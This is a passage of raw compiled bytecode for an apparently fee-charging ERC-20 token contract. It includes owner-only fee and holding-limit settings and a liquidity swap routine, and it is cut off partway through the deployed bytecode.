fffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118499092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610c958484846118ad565b90509392505050565b60006009905090565b6000610cd3827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6108ad565b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5f90612c3c565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601260149054906101000a900460ff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ead576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea490612c3c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ff9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff090612c3c565b60405180910390fd5b80601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160086000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60045481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546110f590612d5c565b80601f016020809104026020016040519081016040528092919081815260200182805461112190612d5c565b801561116e5780601f106111435761010080835404028352916020019161116e565b820191906000526020600020905b81548152906001019060200180831161115157829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611206576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fd90612c3c565b60405180910390fd5b81600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006113223384846118ad565b905092915050565b60145481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113db90612c3c565b60405180910390fd5b8260098190555081600a819055506114058284611ce490919063ffffffff16565b600b8190555080600c819055506003600c546114219190612cfc565b600b5410611464576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145b90612dd9565b60405180910390fd5b505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ee90612c3c565b60405180910390fd5b82601260146101000a81548160ff0219169083151502179055508160138190555080601481905550505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461165f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165690612c3c565b60405180910390fd5b80600d8190555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ee90612c3c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611766576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175d90612e45565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000838311158290611891576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611888919061284d565b60405180910390fd5b50600083856118a09190612e65565b9050809150509392505050565b6000806118b984610dd6565b905060045483826118ca9190612e99565b1115806119205750600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61195f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195690612f3f565b60405180910390fd5b611967611d42565b80156119c05750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b156119ce576119cd611e19565b5b600062989680846119df9190612cfc565b9050600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a885750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b15611a9c578084611a999190612e65565b93505b611b25846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118499092919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000611b748787612394565b611b7e5784611bda565b611bd98786601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614612442565b5b9050611c2e81600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ce490919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611cce91906127a2565b60405180910390a3600193505050509392505050565b6000808284611cf39190612e99565b905083811015611d38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2f90612fab565b60405180910390fd5b8091505092915050565b6000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015611daf5750601560009054906101000a900460ff16155b8015611dc75750601260149054906101000a900460ff165b8015611e145750601354600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6001601560006101000a81548160ff0219169083151502179055506000601454600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611e89576014549050611ecc565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b6000611f0a6002611efc600b54611eee600954876125ba90919063ffffffff16565b61263490919063ffffffff16565b61263490919063ffffffff16565b90506000611f21828461267e90919063ffffffff16565b90506000600267ffffffffffffffff811115611f4057611f3f612fcb565b5b604051908082528060200260200182016040528015611f6e5781602001602082028036833780820191505090505b5090503081600081518110611f8657611f85612ffa565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561202d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612051919061303e565b8160018151811061206557612064612ffa565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612103959493929190613164565b600060405180830381600087803b15801561211d57600080fd5b505af1158015612131573d6000803e3d6000fd5b5050505060004790506000612166612155600260095461263490919063ffffffff16565b600b5461267e90919063ffffffff16565b905060006121a4600261219684612188600954886125ba90919063ffffffff16565b61263490919063ffffffff16565b61263490919063ffffffff16565b905060006121bb828561267e90919063ffffffff16565b9050600081111561225d576000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168261753090604051612212906131ef565b600060405180830381858888f193505050503d8060008114612250576040519150601f19603f3d011682016040523d82523d6000602084013e612255565b606091505b505080915050505b600087111561236f57601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308a600080600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016122ef96959493929190613204565b60606040518083038185885af115801561230d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612332919061327a565b5050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450682886040516123669291906132cd565b60405180910390a15b50505050505050506000601560006101000a81548160ff021916908315150217905550565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561243a5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905092915050565b60008082612451576064612455565b600d545b905060006124a06064600c5461246b9190612c8b565b61249284612484600b548a6125ba90919063ffffffff16565b6125ba90919063ffffffff16565b61263490919063ffffffff16565b90506124f481600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ce490919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161259491906127a2565b60405180910390a36125af818661267e90919063ffffffff16565b925050509392505050565b60008083036125cc576000905061262e565b600082846125da9190612c8b565b90508284826125e99190612cfc565b14612629576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161262090613368565b60405180910390fd5b809150505b92915050565b600061267683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506126c8565b905092915050565b60006126c083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611849565b905092915050565b6000808311829061270f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612706919061284d565b60405180910390fd5b506000838561271e9190612cfc565b9050809150509392505050565b600080fd5b6000819050919050565b61274381612730565b811461274e57600080fd5b50565b6000813590506127608161273a565b92915050565b60006020828403121561277c5761277b61272b565b5b600061278a84828501612751565b91505092915050565b61279c81612730565b82525050565b60006020820190506127b76000830184612793565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156127f75780820151818401526020810190506127dc565b60008484015250505050565b6000601f19601f8301169050919050565b600061281f826127bd565b61282981856127c8565b93506128398185602086016127d9565b61284281612803565b840191505092915050565b600060208201905081810360008301526128678184612814565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061289a8261286f565b9050919050565b6128aa8161288f565b81146128b557600080fd5b50565b6000813590506128c7816128a1565b92915050565b600080604083850312156128e4576128e361272b565b5b60006128f2858286016128b8565b925050602061290385828601612751565b9150509250929050565b60008115159050919050565b6129228161290d565b82525050565b600060208201905061293d6000830184612919565b92915050565b61294c8161290d565b811461295757600080fd5b50565b60008135905061296981612943565b92915050565b600080604083850312156129865761298561272b565b5b6000612994858286016128b8565b92505060206129a58582860161295a565b9150509250929050565b6000806000606084860312156129c8576129c761272b565b5b60006129d6868287016128b8565b93505060206129e7868287016128b8565b92505060406129f886828701612751565b9150509250925092565b600060ff82169050919050565b612a1881612a02565b82525050565b6000602082019050612a336000830184612a0f565b92915050565b600060208284031215612a4f57612a4e61272b565b5b6000612a5d848285016128b8565b91505092915050565b612a6f8161288f565b82525050565b6000602082019050612a8a6000830184612a66565b92915050565b60008060408385031215612aa757612aa661272b565b5b6000612ab5858286016128b8565b9250506020612ac6858286016128b8565b9150509250929050565b600080600060608486031215612ae957612ae861272b565b5b6000612af786828701612751565b9350506020612b0886828701612751565b9250506040612b1986828701612751565b9150509250925092565b600080600060608486031215612b3c57612b3b61272b565b5b6000612b4a8682870161295a565b9350506020612b5b86828701612751565b9250506040612b6c86828701612751565b9150509250925092565b6000819050919050565b6000612b9b612b96612b918461286f565b612b76565b61286f565b9050919050565b6000612bad82612b80565b9050919050565b6000612bbf82612ba2565b9050919050565b612bcf81612bb4565b82525050565b6000602082019050612bea6000830184612bc6565b92915050565b7f216f776e65720000000000000000000000000000000000000000000000000000600082015250565b6000612c266006836127c8565b9150612c3182612bf0565b602082019050919050565b60006020820190508181036000830152612c5581612c19565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c9682612730565b9150612ca183612730565b9250828202612caf81612730565b91508282048414831517612cc657612cc5612c5c565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612d0782612730565b9150612d1283612730565b925082612d2257612d21612ccd565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612d7457607f821691505b602082108103612d8757612d86612d2d565b5b50919050565b7f466565732063616e6e6f74206265206d6f7265207468616e2033332500000000600082015250565b6000612dc3601c836127c8565b9150612dce82612d8d565b602082019050919050565b60006020820190508181036000830152612df281612db6565b9050919050565b7f6e65772069732030000000000000000000000000000000000000000000000000600082015250565b6000612e2f6008836127c8565b9150612e3a82612df9565b602082019050919050565b60006020820190508181036000830152612e5e81612e22565b9050919050565b6000612e7082612730565b9150612e7b83612730565b9250828203905081811115612e9357612e92612c5c565b5b92915050565b6000612ea482612730565b9150612eaf83612730565b9250828201905080821115612ec757612ec6612c5c565b5b92915050565b7f546f74616c20486f6c64696e672069732063757272656e746c79206c696d697460008201527f65642c2068652063616e206e6f7420686f6c642074686174206d7563682e0000602082015250565b6000612f29603e836127c8565b9150612f3482612ecd565b604082019050919050565b60006020820190508181036000830152612f5881612f1c565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612f95601b836127c8565b9150612fa082612f5f565b602082019050919050565b60006020820190508181036000830152612fc481612f88565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050613038816128a1565b92915050565b6000602082840312156130545761305361272b565b5b600061306284828501613029565b91505092915050565b6000819050919050565b600061309061308b6130868461306b565b612b76565b612730565b9050919050565b6130a081613075565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6130db8161288f565b82525050565b60006130ed83836130d2565b60208301905092915050565b6000602082019050919050565b6000613111826130a6565b61311b81856130b1565b9350613126836130c2565b8060005b8381101561315757815161313e88826130e1565b9750613149836130f9565b92505060018101905061312a565b5085935050505092915050565b600060a0820190506131796000830188612793565b6131866020830187613097565b81810360408301526131988186613106565b90506131a76060830185612a66565b6131b46080830184612793565b9695505050505050565b600081905092915050565b50565b60006131d96000836131be565b91506131e4826131c9565b600082019050919050565b60006131fa826131cc565b9150819050919050565b600060c0820190506132196000830189612a66565b6132266020830188612793565b6132336040830187613097565b6132406060830186613097565b61324d6080830185612a66565b61325a60a0830184612793565b979650505050505050565b6000815190506132748161273a565b92915050565b6000806000606084860312156132935761329261272b565b5b60006132a186828701613265565b93505060206132b286828701613265565b92505060406132c386828701613265565b9150509250925092565b60006040820190506132e26000830185612793565b6132ef6020830184612793565b9392505050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006133526021836127c8565b915061335d826132f6565b604082019050919050565b6000602082019050818103600083015261338181613345565b905091905056fea264697066735822122040e9dfee38062159dac046d4bfc00efb0c6427336ae35c86b2896548b328bd1064736f6c634300081100330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

Deployed Bytecode

0x6080604052600436106101dc5760003560e01c806373a432bb11610102578063ca33e64c11610095578063e96fada211610064578063e96fada2146106bb578063ec72d65f146106e6578063f2fde38b1461070f578063f887ea4014610738576101e3565b8063ca33e64c14610601578063cec10c111461062c578063d088935814610655578063dd62ed3e1461067e576101e3565b8063a4b45c00116100d1578063a4b45c0014610545578063a8aa1b311461056e578063a9059cbb14610599578063acef1a44146105d6576101e3565b806373a432bb1461049b57806378109e54146104c45780638da5cb5b146104ef57806395d89b411461051a576101e3565b80632198cf6c1161017a578063658d4b7f11610149578063658d4b7f146103f35780636ddd17131461041c57806370a0823114610447578063715018a614610484576101e3565b80632198cf6c1461032557806323b872dd1461034e578063313ce5671461038b578063571ac8b0146103b6576101e3565b8063095ea7b3116101b6578063095ea7b314610267578063180b0d7e146102a457806318160ddd146102cf5780631df4ccfc146102fa576101e3565b8063012aa912146101e85780630445b6671461021157806306fdde031461023c576101e3565b366101e357005b600080fd5b3480156101f457600080fd5b5061020f600480360381019061020a9190612766565b610763565b005b34801561021d57600080fd5b50610226610815565b60405161023391906127a2565b60405180910390f35b34801561024857600080fd5b5061025161081b565b60405161025e919061284d565b60405180910390f35b34801561027357600080fd5b5061028e600480360381019061028991906128cd565b6108ad565b60405161029b9190612928565b60405180910390f35b3480156102b057600080fd5b506102b961099f565b6040516102c691906127a2565b60405180910390f35b3480156102db57600080fd5b506102e46109a5565b6040516102f191906127a2565b60405180910390f35b34801561030657600080fd5b5061030f6109af565b60405161031c91906127a2565b60405180910390f35b34801561033157600080fd5b5061034c6004803603810190610347919061296f565b6109b5565b005b34801561035a57600080fd5b50610375600480360381019061037091906129af565b610a9e565b6040516103829190612928565b60405180910390f35b34801561039757600080fd5b506103a0610c9e565b6040516103ad9190612a1e565b60405180910390f35b3480156103c257600080fd5b506103dd60048036038101906103d89190612a39565b610ca7565b6040516103ea9190612928565b60405180910390f35b3480156103ff57600080fd5b5061041a6004803603810190610415919061296f565b610cda565b005b34801561042857600080fd5b50610431610dc3565b60405161043e9190612928565b60405180910390f35b34801561045357600080fd5b5061046e60048036038101906104699190612a39565b610dd6565b60405161047b91906127a2565b60405180910390f35b34801561049057600080fd5b50610499610e1f565b005b3480156104a757600080fd5b506104c260048036038101906104bd9190612a39565b610f6b565b005b3480156104d057600080fd5b506104d96110b7565b6040516104e691906127a2565b60405180910390f35b3480156104fb57600080fd5b506105046110bd565b6040516105119190612a75565b60405180910390f35b34801561052657600080fd5b5061052f6110e6565b60405161053c919061284d565b60405180910390f35b34801561055157600080fd5b5061056c60048036038101906105679190612a90565b611178565b005b34801561057a57600080fd5b506105836112ef565b6040516105909190612a75565b60405180910390f35b3480156105a557600080fd5b506105c060048036038101906105bb91906128cd565b611315565b6040516105cd9190612928565b60405180910390f35b3480156105e257600080fd5b506105eb61132a565b6040516105f891906127a2565b60405180910390f35b34801561060d57600080fd5b50610616611330565b6040516106239190612a75565b60405180910390f35b34801561063857600080fd5b50610653600480360381019061064e9190612ad0565b611356565b005b34801561066157600080fd5b5061067c60048036038101906106779190612b23565b611469565b005b34801561068a57600080fd5b506106a560048036038101906106a09190612a90565b611524565b6040516106b291906127a2565b60405180910390f35b3480156106c757600080fd5b506106d06115ab565b6040516106dd9190612a75565b60405180910390f35b3480156106f257600080fd5b5061070d60048036038101906107089190612766565b6115d1565b005b34801561071b57600080fd5b5061073660048036038101906107319190612a39565b611669565b005b34801561074457600080fd5b5061074d611823565b60405161075a9190612bd5565b60405180910390f35b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e890612c3c565b60405180910390fd5b612710816003546108029190612c8b565b61080c9190612cfc565b60048190555050565b60135481565b60606001805461082a90612d5c565b80601f016020809104026020016040519081016040528092919081815260200182805461085690612d5c565b80156108a35780601f10610878576101008083540402835291602001916108a3565b820191906000526020600020905b81548152906001019060200180831161088657829003601f168201915b5050505050905090565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161098d91906127a2565b60405180910390a36001905092915050565b600c5481565b6000600354905090565b600b5481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612c3c565b60405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610c8a57610c09826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118499092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610c958484846118ad565b90509392505050565b60006009905090565b6000610cd3827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6108ad565b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5f90612c3c565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601260149054906101000a900460ff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ead576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea490612c3c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ff9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff090612c3c565b60405180910390fd5b80601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160086000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60045481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546110f590612d5c565b80601f016020809104026020016040519081016040528092919081815260200182805461112190612d5c565b801561116e5780601f106111435761010080835404028352916020019161116e565b820191906000526020600020905b81548152906001019060200180831161115157829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611206576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fd90612c3c565b60405180910390fd5b81600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006113223384846118ad565b905092915050565b60145481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113db90612c3c565b60405180910390fd5b8260098190555081600a819055506114058284611ce490919063ffffffff16565b600b8190555080600c819055506003600c546114219190612cfc565b600b5410611464576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145b90612dd9565b60405180910390fd5b505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ee90612c3c565b60405180910390fd5b82601260146101000a81548160ff0219169083151502179055508160138190555080601481905550505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461165f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165690612c3c565b60405180910390fd5b80600d8190555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ee90612c3c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611766576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175d90612e45565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000838311158290611891576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611888919061284d565b60405180910390fd5b50600083856118a09190612e65565b9050809150509392505050565b6000806118b984610dd6565b905060045483826118ca9190612e9956